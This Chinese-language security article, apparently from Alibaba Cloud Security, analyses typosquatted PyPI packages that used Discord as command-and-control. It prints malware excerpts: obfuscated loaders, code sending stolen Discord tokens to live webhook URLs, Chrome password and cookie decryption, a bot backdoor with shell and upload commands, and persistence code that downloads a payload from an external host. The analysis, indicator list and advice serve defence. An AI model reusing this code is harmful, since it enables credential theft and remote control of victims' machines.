freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PyPi供应链投毒系列事件,Discord助力黑客攻击
阿里云安全 2021-08-16 10:55:56 256853
所属地 浙江省

前言

2020年7月,攻击者在PyPI官方仓库中上传了一个名为request的恶意包,致使用户在安装知名Python HTTP库requests时易因为拼写错误而遭受该恶意包攻击;同年11月,随着新冠病毒(COVID-19)在全世界传播,名为covd的恶意包被上传到PyP官方仓库中,旨在模仿一个用于获取新冠病毒实时信息的Python包covid,并成功被广泛传播。

近年,类似的供应链攻击事件披露数量不断上升,其中以PyPi、Npm为代表的第三方包管理仓库尤为受到攻击者的青睐,因该类攻击的攻击难度低且隐蔽性高,影响范围广,给企业和用户带来的安全风险与日俱增。

概述

为应对日益扩大的软件供应链攻击风险,阿里云安全团队对主流第三方包管理仓库进行了持续性安全检测,并在近期侦测到十余起基于Discord的PyPi恶意投毒事件

Discord简介

image

Discord是近年国外非常火的一款免费网络实时通话平台,同时也是一个游戏玩家的讨论社区。据相关数据统计,2020年3月起,Discord在全球范围内的热度就居高不下,目前该社区月活跃用户已经超过1.4亿。

image

Discord在提供基本的文字语音等功能的基础上,还免费开放用户制作第三方机器人的能力,并提供了完善的文档和接口。这使得大量开发者也进入到Discord中进行机器人等功能的自定义开发,同时促使了大量的第三方Discord包被上传到各大包管理仓库里。

而在Discord提供的API中,用户可以通过Webhook的功能或是Bot功能向自己的Discord服务器的推送消息,其过程仅需要提供一个token信息。这不仅方便用户进行定制化开发,而其匿名性也为黑客提供了便利,导致越来越多的黑客将视线转向Discord ,Discord的该功能成为了黑客搭建C&C服务器的“风水宝地”。而另一方面,Discord机器人开发者人数上升,其开发过程的软件供应链也成为了黑客的优质目标,通过供应链投毒的手法,恶意软件可以有效的在Discord开发者中传播起来。

事件概况

image

阿里云安全团队根据IOC与恶意行为特征对PyPi恶意包进行聚类分析发现,多个攻击者最早从2020年7月开始通过不同的用户身份向PyPi仓库不断投递基于Discord进行攻击的恶意包,PyPi下载量统计数据显示,截止目前针对该系列恶意包总下载量超过20000次。

通过恶意包的命名风格可以看出,目前PyPi投毒主要还是以经典的typo攻击模式。恶意包通过模仿正常包包名,使受害用户在安装时因为拼写错误而遭受攻击。其中在用户名为raxishot和nexx74投递的多个恶意包中,还精心伪造了一份内容翔实的Readme文件来伪装自身(如下图),以进一步获取用户信任。

image

恶意行为

经过分析发现,这一系列针对Discord的恶意包主要攻击目标是Windows操作系统,其实施的恶意行为具有较高的相似性,并且随着时间推移,后期投递的恶意包中存在的恶意行为在不断的添加和完善。

image

该系列恶意包恶意行为触发方式分为两种,一是在用户执行pip install命令时触发,或是在import导入该恶意包并启动运行时完成触发。其攻击过程均利用Discord作为C&C服务器,所有数据回传和命令下发都会通过Discord的网络通信接口发送到攻击者的Discord服务器中。

  1. 2020年7月开始早期投递的恶意包如socketxio、stringhelp、discord-api等包中,恶意行为主要为单一的窃取用户Discord账户的token信息,该token可用于Discord的用户身份认证。

  2. 2021年3月由用户7._4d投递的dishelp-python恶意包中,在窃取Discord账户token的基础上,增加了对受害者系统中Chrome浏览器存储的账号密码的窃取。

  3. 2021年4月投递的noblesse2和noblessev2中,会同时窃取Chrome和Edge中保存的账号密码以及信用卡信息,以及窃取Windows系统激活密钥,同时还会对受害者屏幕进行截图。

  4. 2021年7月上传的colora系列恶意包中,进一步的增加了对Chrome浏览器Cookie的窃取,在窃取Discord账户token的基础上进一步窃取了用户Discord中的个人信息。

  5. 2021年8月最近一次投递的针对Discord的恶意包pyfetchx中,攻击者在窃取各项隐私信息的基础上,基于Discord的机器人功能实现了一个完善的后门和持久化能力,危害性进一步提高。

手法分析

检测对抗

在基于Discord的系列恶意包中,部分恶意包对恶意代码进行了一定程度的混淆以对抗静态检测手段。

1、对代码进行编码,如coloramz、Backdoorxrat等恶意包

import base64, codecs
magic = 'aW1wb3J0IGRpc2NvcmQNCmltcG9ydCBvcw0KZnJ...'
love = 'PNtVPNtVPNtVPNtVPOlMKE1pz4tVxAbpz9gMFN8V...'
god = 'AgcGFzcw0KICAgIGRlZiBnZXRjaGF0KHRva2VuLCB...'
destiny = 'tVPO7QDbtVPNtVPNtVPNtVPNtVPNtVPNtVPNt...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))

2、使用marshal库对Python代码对象进行序列化,如DiscordSafety恶意包

import marshal as m
import requests as rq
exec(m.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\...')

3、尝试混淆代码结构,如discord-api恶意包

[
  [
    __import__("requests").post(
      "https://discord.com/api/webhooks/815048322414936075/SnIr7HTGb_Fr48thne92sW2MV2bVpT-OiTt275g50yFNzmD5y10qdetbcBCYH8IrurNq",
      data={
        "content": "\n```:sparkles:get stealed:sparkles: :: %s```\n"
        % (x)
      },
    )
    for x in __import__("re").findall(
      r"[a-zA-Z0-9\-]{24}\.[a-zA-Z0-9\-]{6}\.[a-zA-Z0-9\-]{27}|mfa\.[a-zA-Z0-9\-]{84}",
      open(
        "%s/%s" % (path, file_name), encoding="utf-8", errors="ignore"
      ).read(),
    )
  ]
  for file_name in __import__("os").listdir(path)
  if not file_name.endswith(".log")
]

C&C通信

Discord作为C&C服务器的两种方式,一是通过Webhook功能,攻击者可以轻松的将窃取的数据通过一个Webhook URL传输到自己的Discord中;另一个是通过创建Bot,该方式攻击者不仅可以从受害者机器上传数据,还能够从控制端进行命令下发。

image
image

在该系列投毒事件中,前期恶意包主要通过Webhook功能来回传窃取的敏感信息:

def __init__(self):
		self.url = 'https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO'
def do_request(self, item: dict):
		requests.post(self.url, data={'content': item})

而后期的一些恶意包则开始使用Bot功能来实现数据双向通信:

@client.event
async def on_message(message):
  	if message.channel.name != channel_name:
    	pass
  	else:
      if message.content == "!presistant":
        	# ......

信息窃取

1、窃取用户Discord token

若用户在电脑中登陆过Discord,通常Discord token会出现在浏览器或Discord应用程序的数据文件中,该token可用于Discord的用户身份认证,可能的数据文件路径如下:

C:\User\[UserName]\AppData\LOCAL\Google\Chrome\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\LOCAL\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\LOCAL\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\Discord\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\discordcanary\Local Storage\leveldb
C:\User\[UserName]\AppData\Roaming\discordptb\Local Storage\leveldb

Discord token具有一个固定的格式,可以通过正则表达式[a-zA-Z0-9\-]{24}\.[a-zA-Z0-9\-] {6}\.[a-zA-Z0-9\-]{27}|mfa\.[a-zA-Z0-9\-]{84}进行搜索匹配,具体恶意行为如下:

def gettokens(path):
    path += "\\Local Storage\\leveldb"
    tokens = []
    for file_name in os.listdir(path):
        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
            continue
        for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
                for token in findall(regex, line):
                    tokens.append(token)
    return tokens

2、窃取用户浏览器信息数据

如今各种浏览器为了方便用户使用均提供了记住密码、信用卡等功能,但不幸的是该功能存在着不小的安全隐患 ,而今成为了攻击者窃取密码等数据的有效途径。在该系列恶意包中,Chrome和Edge就成为了信息窃取的目标。

攻击者首先从C:\User\[UserName]\AppData\Local\Google\Chrome\User Data\default\Login Data获取到Chrome浏览器对数据的解密密钥。

然后访问Chrome保存的用户密码的sqlite数据库C:\User\[UserName]\AppData\Local\Google\Chrome\User Data\Local State以及保存信用卡的sqlite数据库C:\User\[UserName]\AppData\Local\Google\Chrome\AppData\Local\Google\Chrome\User Data\default\Web Data,将其中的数据用密钥继续解密后即轻松的完成了对数据的窃取
同时,攻击者还是使用了browser_cookie3这个Python库来获取用户浏览器中的Cookie信息。

def get_master_key():
		with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        master_key = master_key[5:]  # removing DPAPI
        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
        return master_key
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()

try:
  	cursor.execute("SELECT action_url, username_value, password_value FROM logins")
    # ......
cookies = list(browser_cookie3.chrome())

3、窃取Window系统激活密钥

keys = subprocess.check_output(
  	'wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
types = subprocess.check_output(
  	'wmic os get Caption').decode().split('\n')[1].strip()

4、窃取Discord用户数据

当攻击者窃取到了Discord用户的token后,即会尝试通过API获取受害者用户的个人信息、好友、频道、支付情况等数据。

相关恶意代码如下:

def getuserdata(token):
    return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
def getfriends(token):
    return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
def getchat(token, uid):
    return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
def has_payment_methods(token):
    return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)

5、截屏

在窃取数据的基础上,该系列恶意包中还存在截屏行为

screen = ImageGrab.grab()
screen.save(os.getenv('ProgramData') + r'\desktop.jpg')

后门植入

后门能力主要是通过Discord的Bot功能实现的,攻击者通过在Discord聊天窗口中发出命令,而受害者中的恶意后门将执行相应的操作。

在pyfetchx恶意包中提供了非常强大的后门功能,包括命令执行、文件传输、剪切板读取、截屏甚至Windows UAC绕过功能,对用户安全威胁极大。

@client.event
async def on_message(message):
  	if message.content == "!presistant": #......
    if message.content == "!help": #......
    if message.content == "!screenshot": #......
    if message.content.startswith("!upload"): #......
    if message.content.startswith("!shell"): #......
    # .......

同时pyfetchx恶意包还具有持久化能力。恶意包首先将从http://www.dwarforest.tk/updates.txt下载恶意Python代码,并将其编译为pyc文件后拷贝到\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\开机启动目录中,具体操作如下:

url = "http://www.dwarforest.tk/updates.txt"
response = requests.get(url, stream=True)
with open("mainx.py", "wb") as handle:
    for data in tqdm(response.iter_content()):
        handle.write(data)
os.system("py -m compileall")
source = r"./__pycache__/mainx.cpython-39.pyc"
destination = os.environ['USERPROFILE'] + os.sep + r'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemprocess.pyc'
shutil.copy(source, destination)
await message.channel.send("`[!] Done with presistance!`")
os.remove("mainx.py")
shutil.rmtree(r"./__pycache__")

IOCs

Discord Webhook URL:

https://discord.com/api/webhooks/845637931749736498/ewOnnjXCvtX1bzTDPhFEe1fFZ4MFh7t-OydnQ3ob2MxQ_sMq2ZXXNIwA36OWBFjP3vbV
https://discord.com/api/webhooks/857801398062415913/gjtazjRjPG5BhM1fMUJfIpsTpkikHkn4j7V7qWYKDQwB_C0KLlu7EhbM6Tn3ZjH4wR29
https://discord.com/api/webhooks/854434670875639829/t03t6B5eUAD9oEYUl1JZSEjCZ4CRyw4C8ZP7BfJ0jXezYMPcyrYEj1fyO72tVWcKp9p1
https://ptb.discord.com/api/webhooks/807327703082074143/uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x
https://discord.com/api/webhooks/815048322414936075/SnIr7HTGb_Fr48thne92sW2MV2bVpT-OiTt275g50yFNzmD5y10qdetbcBCYH8IrurNq
https://discord.com/api/webhooks/818207581465346099/iTb5aFCYX90QwsE_GeblnhX1V9-QOB-JBpp1YdaRrTZvZi_i_JFiBjGkXtZrIO5OFG3P
https://discord.com/api/webhooks/823687444481835028/XfqnGeox1fI_wp2vUgK9HpmfVMOUl9t6HefjfQEhnyQwgtnzyjr_2uYrWDWQlS0NW6mn
https://discord.com/api/webhooks/737341936297574491/iYT-5fQ-rWtwjziy2yZubSc56rekTRvl_cPz7XhTsJi8gnUWnPYfO357x1P0bHGvDJx3
https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO

其他URL

http://www.dwarforest.tk/updates.txt

近期其他高危投毒事件

image

安全建议

  1. 相关用户和企业请尽快自查,确保恶意包得到清除

  2. 开发者使用第三方库时仔细确认安装方式无误,如避免拼写错误。

  3. 企业可建立内部可信软件源和包管理仓库,避免员工下载未知软件或开发组件

# 黑客 # 漏洞分析 # 网络安全技术
本文为 阿里云安全 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
阿里云安全 LV.8
阿里巴巴集团云安全官方
  • 217 文章数
  • 142 关注者
穿透技术域迷雾:如何用AI缝合安全裂痕?
2025-04-16
破解中小企业99%安全问题的0成本方案,阿里云用户谈行业首个“云体检”
2025-04-01
攻击、爬虫、数据泄露?大模型应用安全落地的生存指南
2025-04-01